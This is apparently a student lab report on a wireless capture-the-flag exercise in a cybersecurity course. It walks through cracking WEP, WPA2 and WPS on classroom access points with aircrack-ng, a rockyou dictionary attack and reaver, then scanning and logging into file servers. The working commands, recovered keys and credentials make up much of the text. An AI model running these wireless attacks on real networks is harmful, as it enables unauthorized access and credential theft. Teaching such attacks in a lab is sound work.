

CSCI 400-01
Capstone Experience in Digital Forensics/Cyber Security I
Lab 12: Wireless CTF

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General Description


In this lab, we are looking at the security of wireless 802.11x networks (x=b,g,n,ac). In particular, we are focusing on the security of the wireless protocols such as WEP, WPA/WPA2 and the related WPS as part of our mission as a penetration testing team.

2.1 Attacking WEP

Using aircrack-ng, we performed an attack on the router broadcasting the SSID 'CSCI400AP1' (MAC address: C0:56:27:15:EB:7D). We started airodump-ng to collect IVs by running the command:

```
airodump-ng -c 8 --bssid C0:56:27:15:EB:7D -w output wlan0
```

where -c 8 was the channel for the wireless network, --bssid C0:56:27:15:EB:7D is the access point MAC address, and wlan0 is the interface name. The screenshot below shows what happened after running the command and IVs were collected.



```
CH 8 ][ Elapsed: 39 mins ][ 2018-12-07 17:13
-b C0:56:27:15:EB:7D output.pcap
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:56:27:15:EB:7D -43 95 22644 90189 330 8 54e WEP WEP OPN CSCI400AP1
BSSID:56:27:15:EB:7D STATION PWR Rate Lost Frames Probe
C0:56:27:15:EB:7D 10:FE:ED:21:46:E4 0 1 - 1 9817 325519
C0:56:27:15:EB:7D B4:75:0E:E2:D1:2D -56 11e-54e 0 2151
every 5000 captured ivs.
76653 ivs.
KEY FOUND! [ 9C:44:0C:30:6C ]
ly: 100%
```

From obtaining the IVs, we were able to obtain the key by later running the command:

```
aircrack-ng -b C0:56:27:15:EB:7D output*.cap
```

as seen in the screenshot below.

```
root@kali: ~
File Edit View Search Terminal Help
17:09:05 Sending Association Request [ACK]
17:09:06 Association successful :-)) (AID: 1)
root@kali:~# aircrack-ng -b C0:56:27:15:EB:7D output*.pcap
Opening output*.pcap
open failed: No such file or directory
root@kali:~# aircrack-ng -b C0:56:27:15:EB:7D output.pcap
Opening output.pcap
open failed: No such file or directory
root@kali:~# aircrack-ng -b C0:56:27:15:EB:7D output*.cap
Opening output-01.cap
Opening output-02.cap
Opening output-03.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 76653 ivs.
KEY FOUND! [ 9C:44:0C:30:6C ]
Decrypted correctly: 100%
```


There is a lot of useful information that this token may provide such as the file servers. By extension, we can then access the files located on the file servers.

2.2 Attacking WPA/WPA2

Using aircrack-ng, we performed an attack on the router broadcasting the SSID 'CSCI400AP3' (MAC address is C8:B3:73:30:21:4F). We captured the authentication phase (the 4-way handshake) and then proceeded to find the passphrase by using a dictionary attack.

I used aircrack to crack the key using the command and the rockyou wordlist from hashcat. :

aircrack-ng -w /root/Downloads/rockyou.txt -b C8:B3:73:30:21:4F output*.cap



```
root@kali: ~  
File Edit View Search Terminal Help  
[00:05:33] 563120/9822769 keys tested (2044.90 k/s)  
Time left: 1 hour, 15 minutes, 30 seconds 5.73%  
KEY FOUND! [ underestimated ]  
Master Key : EE 95 3D 9C 26 CE 3F DF 2E 55 8D 66 0E 0E C3 D2  
3C 75 F7 F0 99 1C 5D 39 BD 12 DE 63 AB 5D EF AF  
Transient Key : D8 08 4B 09 BC 69 EA F8 BE B8 B0 88 55 29 15 BC  
CA DD F4 82 74 04 01 BE 86 98 2F 89 F1 05 BB FF  
B9 82 3D B6 5B C1 2D 9B E7 F4 47 8F C7 43 02 46  
A7 AA E2 67 08 2C 9E DE CF D1 91 E1 07 04 A9 F4  
EAPOL HMAC : 5D CD CE 8B 0D 67 2B 40 36 A4 64 E1 AA E7 9B BF  
root@kali:~#
```

By using a dictionary attack, we were able to discover the passphrase of CSCI400AP3 to be “underestimated.” After we recovered the network key, we joined the wireless network “CSCI400AP3” by using the password “underestimated.”

Then, we ran Wireshark and captured packets to analyze. We discovered the token hidden away as shown below:

Wi-Fi: en0

Apply a display filter ... < %>

No.	Time	Source	Destination	Protocol	Length	Info
28	2.114796	192.168.2.117	192.168.2.1	DNS	84	Standard query 0xf497 A detectportal.firefox.com
29	2.243565	fe80::85e:5bf1:4...	ff02::2	ICMP...	70	Router Solicitation from a4:5e:60:ec:d1:eb
30	2.261921	192.168.2.117	192.168.2.1	DNS	85	Standard query 0xf14f A push.services.mozilla.com
31	2.262305	192.168.2.117	192.168.2.1	DNS	84	Standard query 0x6728 A p21-calendars.icloud.com
32	2.262423	192.168.2.117	192.168.2.1	DNS	81	Standard query 0x681d A p64-caldav.icloud.com
33	2.292107	192.168.2.117	192.168.2.1	DNS	74	Standard query 0xdf08 TXT time.apple.com
34	2.637211	192.168.2.117	192.168.2.1	DNS	92	Standard query 0x14a7 A 9-courier.sandbox.push.apple.com
35	2.637267	192.168.2.117	192.168.2.1	DNS	84	Standard query 0x5b5d A 2-courier.push.apple.com
36	2.648080	192.168.2.117	192.168.2.1	DNS	100	Standard query 0x7c08 A qnbxjrcoolxt.the-token-is-black-truffle
37	2.648081	192.168.2.117	192.168.2.1	DNS	102	Standard query 0xb04e A dcjuebxanyxbze.the-token-is-black-truffle
38	2.648081	192.168.2.117	192.168.2.1	DNS	94	Standard query 0xa478 A ekjohoz.the-token-is-black-truffle
39	2.915565	192.168.2.105	239.255.255.250	SSDP	318	NOTIFY * HTTP/1.1
40	3.251766	192.168.2.117	192.168.2.1	DNS	86	Standard query 0xca32 PTR 117.2.168.192.in-addr.arpa
41	5.638199	192.168.2.117	192.168.2.1	DNS	73	Standard query 0x9a51 A api.infura.io
42	5.649219	192.168.2.117	192.168.2.1	DNS	76	Standard query 0x8eb2 A mtalk.google.com
43	5.649326	192.168.2.117	192.168.2.1	DNS	74	Standard query 0x19d3 A www.google.com

▼ Queries

▼ ekjohoz.the-token-is-black-truffle: type A, class IN

Name: ekjohoz.the-token-is-black-truffle

[Name Length: 34]

0000	c8 b3 73 30 21 4f a4 5e 60 ec d1 eb 08 00 45 00	..s0!0.^.....E..
0010	00 50 a6 96 00 00 ff 11 8f 3f c0 a8 02 75 c0 a8	.P.....?....u..
0020	02 01 ca 5f 00 35 00 3c ad eb a4 78 01 00 00 01	..._.5<...x....
0030	00 00 00 00 00 00 07 65 6b 6a 6f 68 6f 7a 1a 74e kjohoz.t
0040	68 65 2d 74 6f 6b 65 6e 2d 69 73 2d 62 6c 61 63	he-token-is-blac
0050	6b 2d 74 72 75 66 66 6c 65 00 00 01 00 01	k-truffl e....

Bytes 54-89: Name (dns.qry.name)

Packets: 76 · Displayed: 76 (100.0%) · Dropped: 0 (0.0%) Profile: Default

The token was discovered to be “blacktruffle.” This provided access to the server on CSCI400AP3 through the username “black” and password “truffle.”

Additionally, we found another samba server which contained the default configuration for username admin, and password admin that contained valuable information we would be using at a later date.

2.2.1 Network discovery once on the wireless network

```
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-11 19:45 EST
Nmap scan report for 192.168.3.1
Host is up (0.012s latency).
Not shown: 994 closed ports
PORT      STATE      SERVICE
80/tcp    filtered  http
139/tcp   open      netbios-ssn
445/tcp   open      microsoft-ds
1900/tcp  open      upnp
49152/tcp open      unknown
49153/tcp open      unknown
MAC Address: 64:70:02:94:02:5C (Tp-link Technologies)
```

Using techniques learned from previous labs, we accessed and analyzed a file server running on CSCI400AP3.

After running a Nmap scan of CSCI400AP3 access point which contains open TCP ports, we found a samba server with the username “black” and password “truffle”. We used the samba server to crack the FTP access for CSCI400AP2 which contained the calling card folder.

2.3 Attacking WPS

2.3.1 WPS PIN and WPA2 network credentials retrieval

We retrieved the WPA2 network key of the access point with SSID ‘CSCI400AP2.’ As expected with the WPA2 wireless network key, there was some resistance on the attack on the WPA2 handshake. We implemented a WPS attack using a tool called reaver. We found part of the key within our DNS settings. The prefix was 3710 which was reflected within the additional DNS config that said to “look at the DNS information this is the first four digits.”

root@kali: ~


File Edit View Search Terminal Help

CH 4][Elapsed: 1 hour 1 min][2018-12-11 18:45][Decloak: 64:70:02:94:02:5C

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
64:70:02:94:02:5C	-53	100	32682	12857 0	4	270	WPA2	CCMP	PSK	CSCI400AP2
BSSID	STATION	PWR	Rate	Lost	Frames	Probe				
64:70:02:94:02:5C	10:FE:ED:21:46:E4	0	11 - 1	0	15172					

output2-01 kismet.netxml output2-02 kismet.csv output2-02 kismet.csv output2-02 kismet.csv output2-01 kismet.cap output2-01 kismet.csv


```
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin "31701242"
[+] Sending authentication request
[+] Sending association request
[+] Associated with 64:70:02:94:02:5C (ESSID: CSCI400AP2)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2073 seconds
[+] WPS PIN: '31701242'
[+] WPA PSK: 'CTFatJJCrulesIn2018!'
[+] AP SSID: 'CSCI400AP2'
```



```
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-11 19:45 EST
Nmap scan report for 192.168.3.1
Host is up (0.012s latency)
Not shown: 994 closed ports
PORT      STATE      SERVICE
80/tcp    filtered  http
139/tcp   open       netbios-ssn
445/tcp   open       microsoft-ds
1900/tcp  open       upnp
49152/tcp open       unknown
49153/tcp open       unknown
MAC Address: 64:70:02:94:02:5C (Tp-link Technologies)
```

2.3.2 Network discovery once on the wireless network

Using techniques learned from previous labs, we accessed and analyzed a file server running on CSCI400AP2 (MAC address is 64:70:02:94:02:5C). We discovered that the file server was FTP. There were access control mechanisms in place so we needed to find specific instructions in order to gain access to the login (user and password). From the ski video, we came to the

determination to use the token found through Wireshark, which was “blacktruffle” where “black” was the username and “truffle” was the password. After we logged in, we were able to access the link ftp://192.168.2.1 with the username “paradise” and password “horseshoe.” We were able to find the paradise as an username and password as a horseshoe by watching a movie with the hints from the name of the files.

Subsequently, we added our names in a calling card titled “DefinitelySpock(NoQuestionsAsked)” into the calling card here folder. We almost struggled adding the calling card into the file because we thought we only had a read attributes into the file using ftp command. However, downloading the filezilla & cyberduck allowed us to include the file with read and write attributes into the file. From there, through Wireshark, we were able to find a token “thelastjedi.” There was, however, an option to view a samba server as a guest with a hash file.

Here are the screenshots documenting our process:



hash-of-name-of-hidden-samba-share — Locked
ca6411061108d4570061964bdef f0d039647afb946cb2a3a49559f0e804d84369df998ede245f80b776c034a79
6b4789f398bc560300386472585b6f629156b8

Host: 192.168.2.1 Username: paradise Password: Port: Quickconnect

Status: Retrieving directory listing of "/"...
Status: Directory listing of "/" successful
Status: Retrieving directory listing of "/leave-your-calling-card-here"...
Status: Directory listing of "/leave-your-calling-card-here" successful
Status: Starting download of /leave-your-calling-card-here/DefinitelySpock(NoQuestionsAsked).rtf
Status: File transfer successful, transferred 464 bytes in 1 second
Status: Renaming /leave-your-calling-card-here/DefinitelySpock(NoQuestionsAsked).rtf to /leave-your-calling-card-here/DefinitelySpock(NoQuestionsAsked).txt

Local site: /Users/MaxOS/Desktop/ Remote site: /leave-your-calling-card-here

Local site files:

- .kodi
- .perlbrew
- .pia_manager
- .ssh
- .subversion
- .swipl-dir-history
- Applications
- Desktop
- Documents

Remote site files:

Filename	Filesize	Filetype	Last modified	Permissions	Owner/Group
..					
31gb.txt	0	txt-file	12/07/2017	-rw-r--r--	ftp ftp
Alekse...	3,683,951	jpg-file	12/10/2018 2...	-rw-r--r--	ftp ftp
Definit...	464	txt-file	12/11/2018 2...	-rw-r--r--	ftp ftp
Fightin...	1,068	txt-file	12/07/2017	-rw-r--r--	ftp ftp
PGPM...	937	txt-file	12/07/2017	-rw-r--r--	ftp ftp
StasCl...	1,432,442	jpg-file	12/08/2017	-rw-r--r--	ftp ftp
Teresa...	28,618	jpg-file	12/07/2017	-rw-r--r--	ftp ftp
Vady...	138,318	jpg-file	12/11/2018 1...	-rw-r--r--	ftp ftp

Selected 1 file. Total size: 464 bytes

8 files. Total size: 5,285,798 bytes

```

3 dp... \... !F... E
3 .Q...@...@...7...K...
1 ...>5=A\VM...
3 .....h ttp.kali
3 .org.Las tJedi-is
  -the-tok en.....

```

3 Word Problems

1. Where do the attacks fail?

The attacks fail when access point limiting is in check, so a delay needs to be set for the WPS attack. Additionally, the four way handshake can have issues if you cannot properly authenticate with the router for example if there is mac address filtering (you would need to spoof an active mac address from the network, and without access that would be difficult). Additionally, the brute-forcing may fail if your wordlist is not large enough so that's another factor to consider.

2. How would you attack WPA/WPA2 with LEAP authentication (i.e. not WPA/WPA2-PSK)?

We would attack WPA/WPA2 with LEAP authentication (i.e. not WPA/WPA2-PSK) by intercepting a login request to the from the authentication exchange between the client and server. If you successfully get the password hash, you have to hope that the hash is dictionary attackable (for example the MS-ChAPv2 algorithm). The 802.1X exchange mechanism is extremely weak and can be viewed mostly in plain text within the packet header information which leads to user password hash being leaked when client reply is initiated via LEAP.